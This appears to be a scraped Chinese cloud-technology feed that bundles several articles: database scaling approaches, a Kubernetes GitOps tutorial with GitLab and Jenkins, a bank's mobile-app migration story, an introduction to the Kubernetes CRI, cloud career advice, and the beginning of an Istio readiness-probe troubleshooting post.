        希望可以通过此系列文章让大家对 SOFAArk 有更加深刻的认识,并且能够在实际的工作中用以解决实际的问题,同时也欢迎大家参与社区共建,提交 issue 和 PR:

        SOFAArk:https://github.com/sofastack/sofa-ark

        谢谢大家关注 SOFAStack,关注 SOFAArk,我们会一直与大家一起成长。

        ]]>
        解决关系型数据库性能瓶颈的两种思路 Fri, 02 May 2025 09:39:04 +0800 最近的“停课不停学”给互联网教育行业这堆火又添了一把柴火。这把火烧的越旺,后台的资源越紧张,尤其是数据库。最近我就频繁接到一些用户有关数据库过载的求援。
        解决这个问题,有两种思路:

        • 优化数据库系统的架构,令其能够快速可持续的弹性扩容
        • 降低对关系型数据库系统依赖,最好能够实现即便数据库挂了,业务也不会挂。

        快速弹性扩容,这里的关键词是快速,云服务商的数据库服务一般都支持增加只读实例,假如启动一个只读实例要很长时间,我们只能一直开着只读而不敢释放,这样本来的弹性支出就变成了固定支出。假如能够在5分钟之内完成只读节点的拉起提供服务,那么我们就可以根据业务的需求来随时拉起只读实例。我们都知道在线教育行业一般都有非常明显的业务高峰期,通过只在高峰期开启只读就可以节省大笔开支。

        假如只能增加只读写入很快就将变成另一个瓶颈,尤其是超大表的更新和写入操作。分库、分表成为下一阶段的必然选择。初期有分库分表的需求的数据库表和功能模块不是很多,采取直接在程序里编码的方式关系不大,随着“大表”越来越多,越来越多的模块都加入了分库、分表的代码。代码的味道就越来越不对了。于是负责维护代码的同学开始备受煎熬,对代码的洁癖催促他们赶紧把这些代码整合起来,但一整合就发现事情又没有那么容易,早知道就选择一些开源框架好了,但这样的框架就没有么?是不能可持续的保证性能扩展呢,毕竟数据库的事情关系重大。

        关系型数据库快速持续的弹性扩容,这样的架构其实是现成的:

        通过阿里云DRDS整合多个阿里云PolarDB,实现透明的水平拆分,及快速的弹性扩容。

        阿里云DRDS 是一个分库分表中间件,也是阿里巴巴去O的功臣,经历过双十一的洗礼,经过这么多年的考验,“坑”早被填的差不多了,DRDS本身采用分布式架构,最大支持1024核4096GB内存。99%的用户都不会触碰到这个性能上限,从而能够实现可持续的性能弹性扩展。

        PolarDB 是云原生数据库,采用共享存储架构,因为新增只读节点不需要复制数据,所以能够快速弹性扩容。PolarDB 单节点最大88核710GB内存,最大可扩展到16个节点。节点配置越高,随时弹性扩容节省的就越多。

        解决问题的另一个思路是降低对关系型数据库的依赖,例如可以考虑在一些业务中使用NoSQL数据库。NoSQL数据库本身就是从互联网的高并发需求中催生出来的,无论是开源的HBase还是阿里云的表格存储都能够提供PB级的存储和千万级的并发处理能力。

        除了NoSQL数据库,还可以考虑用一些消息队列服务来缓冲突然增加的业务压力对业务的冲击,用户的前台操作可以先放到消息队列中,再由后台服务取出慢慢处理。每年的双十一0点刚过的下单高峰就是通过阿里云的消息队列服务进行缓冲处理的。

        另外,通过一些限流中间件可以将数据库等一些关键部门保护起来。可以根据业务的优先级将不同等级的服务对数据库的调用进行隔离,系统资源紧张时限制部分非关键业务对数据库的访问。阿里云AHAS高可用服务就是一个这样的限流中间件。

        这种降低对关系型数据库依赖的方案还有很多,具体选择什么方案,以及与继续投入关系型数据库如何平衡还要看具体应用场景,改造成本和可预期的业务成长速度相关。

        ]]>
        Kubernetes上基于GitLab+Jenkins的GitOps应用发布实践 Fri, 02 May 2025 09:39:04 +0800 1. 在 容器服务控制台 创建kubernetes集群

        1.1 新建Kubernetes集群:

        image

        1.2 新建命名空间gitops

        我们将会把gitlab和jenkins全部部署到此命名空间下
        image

        2. 创建GitLab应用 (可选项,可以对接已有GitLab环境)

        容器服务控制台上依次点击 市场 -> 应用目录 -> gitlab-ce :
        image

        参数 中设置externalUrl和gitlabRootPassword后选择gitops命名空间并创建应用,本次实践中 externalUrl 设置为 http://ls-gitlab.example.com/, 如果没有dns解析的话,可以在创建成功后直接使用ip
        image

        容器服务控制台上依次点击 路由与负载均衡 -> 服务 查看gitlab应用的访问地址,大约2分钟后可访问gitlab并登陆:
        image
        image

        3. 设置GitLab并上传示例源码项目

        3.1 新建private group application

        创建private group application:
        image

        3.2 新建并上传private project application-demo

        创建private project application-demo, 示例源码地址:

        https://code.aliyun.com/haoshuwei/application-demo.git

        上传源码到自己的源码仓库之前需要注意修改application-demo.yaml文件中的cbf5fdabb9f6a4d5897190935ab3d3155字段为您自己的k8s集群id:

        - host: INGRESS_HOST.cbf5fdabb9f6a4d5897190935ab3d3155.cn-beijing.alicontainer.com

        image

        从master新建一个分支latest:
        image

        设置master和latest分支只有管理员才能merge和push代码的操作:
        image
        image

        3.3 新建private group builds

        image

        3.4 新建并上传private project preview-pipeline staging-pipeline production-pipeline

        preview-pipeline示例源码地址为:

        https://code.aliyun.com/haoshuwei/preview-pipeline.git

        staging-pipeline示例源码地址为:

        https://code.aliyun.com/haoshuwei/staging-pipeline.git

        production-pipeline示例源码地址为:

        https://code.aliyun.com/haoshuwei/production-pipeline.git

        上传3个构建项目之前需要替换以下字段:
        IMAGE_REPO:  应用容器镜像要上传到哪个镜像仓库,镜像仓库地址
        dingTalkToken: 钉钉通知所使用的钉钉机器人accessToken
        Fetch Git Repo -> credentialsId : 用于Jenkins拉取git项目的证书名称,需要在Jenkins中创建名为gitlab的证书
        Fetch Git Repo -> url : Jenkins拉取git repo的url

        preview-pipeline:
        image

        staging-pipeline
        image

        production-pipeline
        image

        3.5 注册一个普通开发者用户developer

        image

        管理员用户登录后将developer用户添加为application组的developer member:
        image

        此时developer用户只有application组下projects的权限, 没有builds组的权限:
        image

        3.6 生成一个apiToken用于Jenkins配置gitlabConnection

        生成并复制保存apiToken:
        image

        4. 创建Jenkins应用

        容器服务控制台上依次点击 市场 -> 应用目录 -> jenkins:
        image

        参数 中设置Master.AdminPassword的值,并更改rbac.install的值为true,选择gitops命名空间后点击创建:
        image

        容器服务控制台上依次点击 路由与负载均衡 -> 服务 查看jenkins应用的访问地址,大约1分钟后可访问jenkins并登陆:
        image
        image

        5. 配置Jenkins并创建构建任务

        5.1 配置gitlabConnection

        系统管理 -> 系统设置 -> Gitlab:
        image
        image

        配置完毕后点击 Save 保存。

        5.2 新建构建任务preview-pipeline

        5.2.1 新建任务,输入名称选择流水线类型并点击创建:
        image

        5.2.2 Build Triggers 区域勾选 GitLab 插件配置如图所示:
        image
        点击 Advanced 进行高级选项配置如图所示:
        image

        复制并保存GitLab webhook URL和Secret token的值用于在Gitlab上配置webhook。

        5.2.3 Pipeline区域配置preview-pipeline构建项目的git repo
        image
        image

        完成配置后点击 保存。

        5.3 新建构建任务staging-pipeline

        5.3.1 新建任务,输入名称选择流水线类型并点击创建:
        image

        5.3.2 Build Triggers 区域勾选 GitLab 插件配置如图所示:
        image
        点击 Advanced 进行高级选项配置如图所示:
        image

        复制并保存GitLab webhook URL和Secret token的值用于在Gitlab上配置webhook。

        5.3.3 Pipeline区域配置staging-pipeline构建项目的git repo
        image

        完成配置后点击 保存。

        5.4 新建构建任务production-pipeline

        5.4.1 新建任务,输入名称选择流水线类型并点击创建:
        image

        5.4.2 Build Triggers 区域勾选 GitLab 插件配置如图所示:
        image
        点击 Advanced 进行高级选项配置如图所示:
        image

        复制并保存GitLab webhook URL和Secret token的值用于在Gitlab上配置webhook。

        5.4.3 Pipeline区域配置production-pipeline构建项目的git repo
        image

        完成配置后点击 保存。

        5.5 创建docker registry auth secret:

        $ docker login registry.cn-hangzhou.aliyuncs.com
        $ kubectl -n gitops create secret generic jenkins-docker-cfg  --from-file=/root/.docker/config.json

        5.6 创建clusterrolebinding授予serviceaccount default对gitops命名空间的管理权限

        clusterrolebinding.yaml:

        apiVersion: rbac.authorization.k8s.io/v1
        kind: ClusterRoleBinding
        metadata:
          name: gitops-cluster-admin
        subjects:
          - kind: ServiceAccount
            name: default
            namespace: gitops
        roleRef:
          kind: ClusterRole
          name: cluster-admin
          apiGroup: rbac.authorization.k8s.io
        $ kubectl create -f clusterrolebinding.yaml

        5.7 设置匿名用户的可读权限

        系统管理 ->全局安全管理-> Authorization -> 勾选 Allow anonymous read access 并保存:
        image

        6. 配置GitLab webhook

        进入application-demo项目的webhook配置页面:
        image

        6.1 配置触发jenkins job preview-pipeline的触发器

        所图所示:
        image

        6.2 配置触发jenkins job staging-pipeline的触发器

        所图所示:
        image

        6.3 配置触发jenkins job production-pipeline的触发器

        所图所示:
        image

        7. GitOps模型发布应用

        7.1 developer用户做以下操作

        7.1.1 在application-demo项目上新建一个开发分支features/change-index-1
        image

        7.1.2 修改src/main/resources/static/index.html中的kubernetes.svg为jenkins.svg并提交修改

        7.1.3 创建请求合并到latest分支的Merge Request
        image

        Open MergeRequest的动作会触发jenkins job preview-pipeline的自动构建,并完成以下stages:
        (1)拉取http://xxx.xxx.xxx/builds/preview-pipeline.git项目并按照Jenkins定义的内容继续执行以下内容
        (2)Fetch Git Repo: 拉取应用源码项目http://xxx.xxx.xxx.xxx/application/application-demo.git
        (3)Maven Build: 打包
        (4)Maven Test: 测试
        (5)Docker Build And Publish: docker镜像构建和推送
        (6)Kubectl Deploy: 部署应用到Kubernetes集群(本示例使用的是本集群的一个动态创建的命名空间preview-xxx)
        (7)Post Actions: 钉钉通知

        developer可以查看Merge Request页面的内容
        image

        点击可跳转至jenkins构建日志:
        image

        7.1.4 构建完成后可以看到一个application-demo应用的预览页面
        image
        点击预览应用:
        image

        也可以直接在钉钉群里查看应用访问链接等信息:
        image

        7.1.5 应用预览验证后, developer可以申请管理员接受此合并

        7.2 管理员合并指向latest分支的MergeRequest

        合并MR:
        image

        Accept MR的动作或触发staging-pipeline的构建,拉取application-demo项目的latest分支代码并构建和部署到staging命名空间下

        查看钉钉通知并访问staging环境中的application-demo应用:
        image
        image

        7.3 管理员创建latest到master分支的Merge Request并合并此指向master的Merge Request

        Accept MR的动作或触发production-pipeline的构建,拉取application-demo项目的master分支代码并构建和部署到production命名空间下

        查看钉钉通知并访问production环境中的application-demo应用:
        image
        image

        ]]>
        业务驱动IT重构,深圳农商行手机银行全新上线背后 Fri, 02 May 2025 09:39:04 +0800 近年来,商业银行数字化转型大幕拉开,移动数字化是先行军,手机银行是主战场。有些银行的APP从一个单纯的工具演变为综合性的生活类APP,越来越像点评类产品;还有些银行专注于本土特色深耕,形成差异化发展优势。总之,越来越多的银行都在不断探索线上线下双线发展。

        在商业银行中,农村商业银行更为特殊,与四大行和其它大型股份制银行相比,其数字化转型步伐相对不易。但也不乏先行者,尤其是沿海地区的农村商业银行往往走在转型的前列,深圳农村商业银行(以下简称深圳农商行)便是其中的代表。

        日前,深圳农商行基于mPaaS移动应用开发平台、金融分布式应用架构SOFAStack,实现了手机银行APP的全新上线,探索线上线下融合发展,除了功能的丰富、老广东特色、社交的支持,以及界面的年轻化,应用架构也实现了从单体到微服务的转变,以敏捷开发模式更好地为业务服务,基于数据驱动业务的发展目标前进。面向数字化智能时代,深圳农商行有怎样的布局与思考?对其它银行又有怎样的借鉴意义?

        缘起:响应业务需求进行架构改造升级

        深圳农商行,前身为深圳农村信用合作社,2005年改制为农村商业银行,是全国首批由副省级城市农村信用社改制组建的股份制农村商业银行,同时也是深圳地区网点数量最多的银行,且已在广西开设异地支行。

        随着“科技赋能业务“越来越成为银行业的共识,深圳农商行在董事会层面也敏感地洞悉到了科技赋能新零售的战略方向,提出了“零售+科技”以及移动优先的发展战略,“手机银行作为实现移动战略的桥头堡,是零售战略转型成败的关键。”深圳农商行手机银行业务相关负责人指出。

        实际上,深圳农商行上一代手机银行App在移动金融上半场的电子渠道方面小有成就,手机银行App在农商系替代率、月活数、下载量均名列前茅。但是近年来,新技术的发展使得移动金融进入“平台化、数字化、智能化”赋能业务的下半场,被移动互联网广泛教育的用户对手机银行App的特色、性能和体验有了更高的需求,其上一代手机银行已经无法满足。

        比如增加用户粘性较强的功能,增加社交属性,强化线上营销能力已成为必然趋势。业务需要更好的技术框架体系支撑来提升客户体验,也需要更为敏捷的管理体系适应快速变化的市场需求。为此,深圳农商行立项以敏捷方法打造新版手机银行,并提出线上线下融合、体现社区特色的目标,给客户提供全新体验。

        2019年3月,深圳农商行与蚂蚁金服合作,并使用其mPaaS移动应用开发平台、金融分布式应用架构SOFAStack进行新一代手机银行的升级改造。深圳农商行手机银行技术负责人介绍,选择蚂蚁金服也是因为他们有着十多年实践的积累,支撑着支付宝、网商银行等国民级金融应用。

        从蚂蚁金服团队进场实施,到第二套生产环境搭建完成,仅用时三个月即完成mPaaS部署。与此同时,深圳农商行对原手机银行业务模块拆分,拆分为40多个微服务,逐步推进微服务改造。

        通过前中后台整体变革后,成果显著。使用mPaaS 开发框架,统一了各团队开发标准,缩减APP开发周期;使用MDS发布服务,可以快速完成版本发布;加之MAS移动分析,通过埋点从日志中抓取APP 性能相关数据,对分析和改进问题提供了帮助。

        3月9日正式上线后,系统表现在性能和体验方面有很大的提升。APP客户端平均首次启动时间0.48秒,平均非首次启动时间0.33秒,客户打开APP的体验提升了4倍以上,用户能明显感受到性能提高,顺滑流畅。99%的交易完成时间在1秒之内,移动网关、数据同步等服务在大流量、高并发场景下的可用性,为将来的一些业务运营场景提供了基础。

        对于深圳农商行而言,这次项目不仅是产品的引入,更多是研发、运维体系的升级,这也带来一定挑战,尤其是在银行比较看重的运维方面,项目团队决定必须实现自主运维。

        可控:必须拿下自主运维

        深圳农商行手机银行的架构从传统集中式架构变成了分布式架构,一方面应用开发模式发生改变,要以微服务架构进行开发,另外一方面,对银行后端的人力产生挑战,原来运维单体应用相对简单,而分布式架构有很多好处,但会增加运维的复杂性。“所以我们其实会配合这整套的平台,然后配合着我们的很多的方法论、技术支持,帮助客户逐步把我们的SOFAStack搞明白,实现自主运维管控。”蚂蚁金服金融云产品总监刘昕指出。

        “我们一直把这个运维能力视作自己的核心能力,这是我们长期以来一直坚持的要求。”深圳农商行科技团队特别强调对自主运维的看重。而新手机银行项目,给基础设施管理、应用运维都带来了新的挑战。最终经过三个月的脱产学习,以自主安装部署及混沌测试为主要手段,团队逐渐具备自主运维的能力。

        实际上,手机银行只是深圳农商行数字化转型升级的一部分,未来还将体现在业务运营、风险甄别、财务分析、基础设施、数据支撑、系统架构、软件交付等各个方面。

        “去做分布式的框架以及做微服务改造,其实所谓的这些专有名词,最终要实现的业务表现是,业务变化足够敏捷,响应市场足够迅速,客户的体验足够流畅。”深圳农商行手机银行业务相关负责人强调。面向未来的数字化智能时代,深圳农商行也有更多的思考,IT人员与业务人员的边界不应做特别明确的区分,双方是一个整体共同去为用户服务,这次项目中该行将业务和IT分为多个小团队,引入敏捷文化,打破了业务和IT的边界,业务和IT的目标更聚焦,沟通更顺畅,彼此也更加理解。总体来看深圳农商行要建立一套高效的研发标准和体系,实现数据驱动业务创新发展。

        “现在,银行的人才结构和逻辑正在发生重大的、结构性转变,未来银行很需要能够理解客户、专业服务和经营数据的能力。”上述业务负责人指出。未来在数据驱动方面,深圳农商行会持续投入,在增值业务方面、风控及用户画像方面也正在和蚂蚁金服洽谈更多的合作,比如以小程序的方式接入更多阿里系场景,增强精准营销的触达等。

        小结:银行的升级改造思考

        农村商业银行具有区域的特性,在过去以其广泛分布的线下网点和服务赢得用户的青睐。如今随着移动互联网的发展,线上成为其不可缺失的另一个场景,除了进一步在线上体现其区域业务特色外,与用户体验相关的易用性、功能、性能等也很重要,而年轻用户已经被互联网产品广泛教育,对App有了更高的要求。未来会有更多的农村商业银行进行架构升级改造以适应数字化智能时代。分布式和微服务改造是大势所趋,在这方面蚂蚁金服拥有十多年的实践经验积累,也能给予相应的帮助和支持。

        无论如何,对于银行而言数字化转型升级正在路上。

        蚂蚁金服“共战‘疫情’,技术破局”数字课堂线火热直播中,本周三和周四连续两场,扫描二维码或点击链接即可观看直播!

        ]]>
        从零开始入门 K8s | 理解容器运行时接口 CRI Fri, 02 May 2025 09:39:04 +0800 0.png

        作者 | 知谨   阿里云工程师

        本文整理自《CNCF x Alibaba 云原生技术公开课》第 28 讲,点击直达课程页面

        关注“阿里巴巴云原生”公众号,回复关键词“入门”,即可下载从零入门 K8s 系列文章 PPT。

        导读:CRI 是 Kubernetes 体系中跟容器打交道的一个非常重要的部分。本文作者主要分为三个部分来进行:首先会为大家介绍 CRI 接口的一个由来和它的设计;其次会和大家分享目前有哪些 CRI 的实现;最后会给大家介绍一下相关的工具有哪些。

        一、CRI 介绍

        在 CRI 出现之前(也就是 Kubernetes v1.5 之前),Docker 作为第一个容器运行时,Kubelet 通过内嵌的 dockershim 操作 Docker API 来操作容器,进而达到一个面向终态的效果。在这之后,又出现了一种新的容器运行时 - rkt,它也想要成为 Kubernetes 支持的一个容器运行时,当时它也合到了 Kubelet 的代码之中。这两个容器运行时的加入使得 Kubernetes 的代码越来越复杂、难以维护。之后 hyber.sh 加入社区,也想成为第三个容器运行时。

        此时就有人站出来说,我们能不能对容器运行时的操作抽象出一个接口,将 Kubelet 代码与具体的容器运行时的实现代码解耦开,只要实现了这样一套接口,就能接入到 Kubernetes 的体系中,这就是我们后来见到的 Container Runtime Interface (CRI)。

        1.png

        有一句话说得很好,「软件问题都可以通过加一层来解决」,我们的 CRI 就是加了这样一层。CRI 接口的通信协议是 gRPC,这里的一个时代背景就是当时的 gRPC 刚刚开源,此外它的性能也是优于 http/REST 模式的。gRPC 不需要手写客户端代码和服务端代码,能够自动生成通信协议代码。

        接下来我们介绍一下 CRI 接口的设计。

        二、CRI 实现

        CRI 接口

        2.png

        在引入了 CRI 接口之后,Kubelet 的架构如上图所示。

        跟容器最相关的一个 Manager 是 Generic Runtime Manager,就是一个通用的运行时管理器。我们可以看到目前 dockershim 还是存在于 Kubelet 的代码中的,它是当前性能最稳定的一个容器运行时的实现。remote 指的就是 CRI 接口。CRI 接口主要包含两个部分:

        • 一个是 CRI Server,即通用的比如说创建、删除容器这样的接口;
        • 另外一个是流式数据的接口 Streaming Server,比如 exec、port-forward 这些流式数据的接口。

        这里需要注意的是,我们的 CNI(容器网络接口)也是在 CRI 进行操作的,因为我们在创建 Pod 的时候需要同时创建网络资源然后注入到 Pod 中。接下来就是我们的容器和镜像。我们通过具体的容器创建引擎来创建一个具体的容器。

        3.png

        给大家介绍一下 CRI 接口的设计。我们知道 Kubernetes 的一个运作的机制是面向终态的,在每一次调协的循环中,Kubelet 会向 apiserver 获取调度到本 Node 的 Pod 的数据,再做一个面向终态的处理,以达到我们预期的状态。

        循环的第一步,首先通过 List 接口拿到容器的状态,再通过 Sandbox 和 Container 接口来创建容器,另外还有镜像接口用来拉取容器镜像。CRI 描述了 Kubelet 期望的容器运行时行为,主要就是我们刚刚所说的 3 个部分。

        通过 CRI 操作容器的生命周期

        4.png

        比方说我们通过 kubectl 命令来运行一个 Pod,那么 Kubelet 就会通过 CRI 执行以下操作:

        • 首先调用 RunPodSandbox 接口来创建一个 Pod 容器,Pod 容器是用来持有容器的相关资源的,比如说网络空间、PID空间、进程空间等资源;
        • 然后调用 CreatContainer 接口在 Pod 容器的空间创建业务容器;
        • 再调用 StartContainer 接口启动容器,相对应的销毁容器的接口为 StopContainer 与 RemoveContainer。

        CRI streaming 接口

        这里给大家介绍一下 CRI 的流式接口 exec。它可以用来在容器内部执行一个命令,又或者说可以 attach 到容器的 IO 流中做各种交互式的命令。它的特别之处在于,一个是节省资源,另一个是连接的可靠性。

        5.png

        首先 exec 操作会发送到 apiserver,经过鉴权,apiserver 将对 Kubelet Server 发起 exec 的请求,然后 Kubelet 会调用 CRI 的 exec 接口将具体的请求发至容器的运行时。这个时候,容器运行时不是直接地在 exec 接口上来服务这次请求,而是通过我们的 streaming server 来异步地返回每一次执行的结果。也就是说 apiserver 其实实际上是跟 streaming server 交互来获取我们的流式数据的。这样一来让我们的整个 CRI Server 接口更轻量、更可靠。

        CRI 的一些实现

        目前 CRI 的一些实现:

        • CRI-containerd
        • CRI-O
        • PouchContainer @alibaba
        • ...

        CRI-containerd 是目前社区中比较主流的新一代 CRI 的实现,CRI-O 来自于红帽公司,PouchContainer 是由 alibaba 实现的 CRI,其它的 CRI 实现,这里就不一一介绍了。

        CRI-containerd

        下图是 CRI-containerd 的架构。

        6.png

        这套 CRI 接口是基于 containerd 实现的。在早期的实现中,CRI 其实是作为一个独立进程的,再跟 containerd 进行交互。这样一来又多了一层进程跟进程之间的开销,因此在后来的版本中 CRI 的是直接以插件的形式实现到 containerd 中的,成为了 containerd 的一部分,从而能够可插拔地使用 CRI 接口。

        整个架构看起来非常直观。这里的 Meta services、Runtime service 与 Storage service 都是 containerd 提供的接口。它们是通用的容器相关的接口,包括镜像管理、容器运行时管理等。CRI 在这之上包装了一个 gRPC 的服务。右侧就是具体的容器的实现,比如说,创建容器时就要创建具体的 runtime 和它的 shim,它们和 Container 一起组成了一个 Pod Sandbox。

        CRI-containerd 的一个好处是,containerd 还额外实现了更丰富的容器接口,所以它可以用 containerd 提供的 ctr 工具来调用这些丰富的容器运行时接口,而不只是 CRI 接口。

        CRI-O

        下图是 CRI-O 的实现思路。

        7.png

        它是通过直接在 OCI 上包装容器接口来实现的一个 CRI 服务。它对外提供的只有具体的 CRI 接口,没有我们前面所提到的 containerd 提供的更丰富的接口。它主要包含两个部分,首先是对容器 runtime 的管理,另一个是对镜像的管理。

        三、相关工具

        下面给大家介绍一下 CRI 相关的工具。这几个工具都在特别兴趣小组的一个项目里面。

        • crictl

        它是一个类似 docker 的命令行工具,用来操作 CRI 接口。它能够帮助用户和开发者调试容器问题,而不是通过 apply 一个 yaml 到 apiserver、再通过 Kubelet 操作的方式来调试。这样的链路太长,而这个命令行工具可以直接操作 CRI。

        • critest

        用于验证 CRI 接口行为是否是符合预期的。

        • 性能工具

        还有一些性能工具用来测试接口性能。

        四、思考时间

        1. 目前 CRI 接口处于 v1 alpha2 版本,CRI 规范能不能更完善?

        CRI 标准的制定是至上而下的,通过 Kubernetes 的一些 feature 反向地要求 CRI 提供这样的功能,进而完善 CRI 规范。

        1. 如何通过 annotation 方式自定义 runtime 行为?

        我们目前的 CRI 肯定不能满足所有用户的需求,很多公司可能会对 CRI 接口做一些增强、定制,比如说 alibaba。最简单的方式是通过 annotation 来自定义 runtime 的行为。在每个接口都设置一个 annotation 的字段,容器运行时通过理解这些字段来去自定义 runtime 的行为。同学们可以尝试去在各个 CRI 接口中通过识别 annotation 的方式来达到自定义 runtime 行为的目的。

        五、本节总结

        本节课的主要内容就到此为止了,这里为大家简单总结一下:

        • CRI 介绍:CRI 的出现是为了将容器运行时与 Kubernetes 解耦开;
        • CRI 实现:CRI-O 与 CRI-containerd;
        • CRI 工具:CRI 调试工具 cri-tools, CRI 测试工具 critest。

        3 群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

        ]]>
        云计算招聘岗位全方位需求解析+学习路径指南 Fri, 02 May 2025 09:39:04 +0800 2019年4月,政府发布了13种新型职业信息,其中人工智能、物联网、大数据和云计算等高新技术职位成为最大亮点,越来越多的高校毕业生将云计算纳为自己的理想就业方向。那么,如何才能成为一名云计算工程师呢?要如何规划自己的学习路径?现在大热的云计算证书是否有必要考呢?本期,我们邀请了一位云计算工程师学长——亚当来为大家做详细的讲解。

        image.png

        亚当是一位95后云计算工程师,从香港科技大学毕业后,自学编程进入了云计算行业,目前在香港的一家云端服务公司担任云计算工程师,专注于为企业提供云平台搭建以及管理服务。同时他还是一名科技视频博主,致力于向大家推广云计算知识和行业信息。

        精华笔记

        不同的公司有哪些云计算岗位?各个岗位都有什么要求?

        第一类:云平台服务商

        image.png

        第二类:软件与平台的合作伙伴

        image.png

        第三类:系统集成商

        image.png

        第四类:软件开发商

        image.png

        第五类:使用云的企业

        image.png

        入门云计算需要掌握哪些知识?要如何学习呢?

        第一类:云平台相关知识

        基础知识:云服务器、CDN、DNS、云数据库(关系型)、负载均衡、对象存储、专有网络VPC

        进阶知识:无服务器计算服务、API网关、容器托管服务、非关系型数据库、数据流处理服务

        第二类:开发相关知识

        ⾄至少熟悉一种编程语⾔言(开发和非开发所需的熟悉程度不不同)

        数据库知识(SQL, NoSQL)

        前后端架构相关知识

        云原⽣生技术(容器器,微服务等等)

        第三类:运维相关知识

        Linux基础

        网络架构基础

        资源监控和管理

        云原⽣生运维(容器器,微服务等等)

        第四类:DevOps相关知识

        批量配置管理(基础架构即代码)

        ⾃自动化运维

        持续集成,持续交付(CICD)

        不同的知识学习可以运用不同的工具和方法。亚当建议,书籍更新迭代较慢,适用于学习编程语言、算法逻辑方面偏开发的知识、网络架构的基础知识、数据库的知识等等;网络课程适用于学习更新的知识,比如云平台的使用、容器化等等;同时在网上找一些项目实践或者贡献开源项目等等都有利于丰富简历。

        关于大热的云计算考证,亚当也给出了自己的想法

        对于想要入行或者处于初级职位的同学,亚当觉得考证还是有必要的,这类证书具备技术领域的通用能力认证,一些招聘信息中也会明确优先考虑有这类证书的同学。至于考哪一些证书,亚当建议最好是市场份额较大的云平台所出的认证,以阿里云为例,亚当建议入行的同学可以考取ACA,最好可以考到ACP,其实在难度上并不会大很多,在岗位上1-2年后可以去考取ACE。至于方向,可以先考取云计算这条线,接下来可以根据你的兴趣或者职业方向攻克你想要获得的认证。

        视频回放

        识别下方二维码添加阿里妹的微信,回复“回放‘’获取直播视频和PPT:

        image.png

        直播答疑精选

        问:云计算学习哪种编程语言好?

        亚当:不是走开发路径的同学,对编程语言要求不会太高,会写比较简单的Python或者JavaScript等就好,如果要走开发路径的话,需要学一下Shell Script。

        问:非计算机专业自学云计算,可以给一些职业方向建议吗?

        亚当:云计算是一个比较基层的平台,其他的技术在此之上可以发挥他们的运算能力,零基础的非计算机专业同学可以考虑运维方向,系统集成商的售后工作,获得更多知识后可以换售前或者转行等。

        问:学习云计算准备考证是否要报培训班?如果自学有什么平台或者书籍推荐吗?

        亚当:我觉得通过网课或者是网上面的资料自学就足够了,我的话是主要看

        1.官方的技术文档

        2.一些云平台编写的技术白皮书(whitepaper),里面会有很详细的案例讲解

        3.一些网课平台的视频教程,比如MOOC或者是国外的acloudguru等等

        问:虚拟化技术在云计算中处于一个什么样的位置,专研虚拟化技术能在云计算产业中找一份什么样的工作?

        亚当:个人见解是虚拟化是云计算在基础设施层面最重要的技术之一,如果你是想专门研究虚拟化技术的话我觉得这种职位应该普遍在各大云平台厂商的研发团队有需求。

        问:能介绍一下你具体从事云计算的工作内容,这样我就知道要做什么了,劳烦举一个你参与的项目,介绍一下,谢谢?

        亚当:我是从事售后的技术工作,平时会帮客户建设以及管理他们云上面的资源,平时要经常和客户沟通;同时内部的话会开发一些流程的自动化,比如说之前我就做了一个自动化实例管理系统去监控以及管理客户的实例,技术涉及到多云平台之间的连接,无服务器架构以及使用了Ansible等等工具。

        问:学长,大数据,人工智能,云计算之间有什么关系啊,如果选择的话哪个更适合零基础的非计算机专业同学学呢,难度哪个相对较高呢?

        亚当:云计算算是IT基础设施架构的一个革命或者说是演变吧,大数据、人工智能等等新的技术很多时候都要依托云平台才可以获得他们所需的弹性以及算力,如果你是零基础的话,可以先自学运维以及编程相关的知识,然后做一个运维工程师;如果你对于大数据等等感兴趣的话可以之后再自学。

        本内容来源:阿里技术微信公众号
        观看直播回放:云计算招聘岗位全方位需求解析+学习路径指南

        ]]>
        Istio从懵圈到熟练 – 二分之一活的微服务 Fri, 02 May 2025 09:39:04 +0800

        作者:shengdong

        Istio is the future!基本上,我相信对云原生技术趋势有些微判断的同学,都会有这个觉悟。其背后的逻辑其实是比较简单的:当容器集群,特别是K8S成为事实上的标准之后,应用必然会不断的复杂化,服务治理肯定会成为强需求。

        Istio的现状是,聊的人很多,用的人其实很少。所以导致我们能看到的文章,讲道理的很多,讲实际踩坑经验的极少。

        阿里云售后团队作为一线踩坑团队,分享问题排查经验,我们责无旁贷。这篇文章,我就跟大家聊一个简单Istio问题的排查过程,权当抛砖。

        二分之一活的微服务

        问题是这样的,用户在自己的测试集群里安装了Istio,并依照官方文档部署bookinfo应用来上手Istio。部署之后,用户执行kubectl get pods命令,发现所有的pods都只有二分之一个容器是READY的。

         # kubectl get pods
        NAME READY STATUS RESTARTS AGE
        details-v1-68868454f5-94hzd 1/2 Running 0 1m
        productpage-v1-5cb458d74f-28nlz 1/2 Running 0 1m
        ratings-v1-76f4c9765f-gjjsc 1/2 Running 0 1m
        reviews-v1-56f6855586-dplsf 1/2 Running 0 1m
        reviews-v2-65c9df47f8-zdgbw 1/2 Running 0 1m
        reviews-v3-6cf47594fd-cvrtf 1/2 Running 0 1m

        如果从来都没有注意过READY这一列的话,我们大概会有两个疑惑:2在这里是什么意思,以及1/2到底意味着什么。

        简单来讲,这里的READY列,给出的是每个pod内部容器的readiness,即就绪状态。每个集群节点上的kubelet会根据容器本身readiness规则的定义,分别是tcp、http或exec的方式,来确认对应容器的readiness情况。

        更具体一点,kubelet作为运行在每个节点上的进程,以tcp/http的方式(节点网络命名空间到pod网络命名空间)访问容器定义的接口,或者在容器的namespace里执行exec定义的命令,来确定容器是否就绪。

        图片素材1.1.png

        这里的2说明这些pod里都有两个容器,1/2则表示,每个pod里只有一个容器是就绪的,即通过readiness测试的。关于2这一点,我们下一节会深入讲,这里我们先看一下,为什么所有的pod里,都有一个容器没有就绪。

        使用kubectl工具拉取第一个details pod的编排模板,可以看到这个pod里两个容器,只有一个定义了readiness probe。对于未定义readiness probe的容器,kubelet认为,只要容器里的进程开始运行,容器就进入就绪状态了。所以1/2个就绪pod,意味着,有定义readiness probe的容器,没有通过kubelet的测试。

        没有通过readiness probe测试的是istio-proxy这个容器。它的readiness probe规则定义如下。

        readinessProbe:
          failureThreshold: 30
          httpGet:
            path: /healthz/ready
            port: 15020
            scheme: HTTP
          initialDelaySeconds: 1
          periodSeconds: 2
          successThreshold: 1
          timeoutSeconds: 1

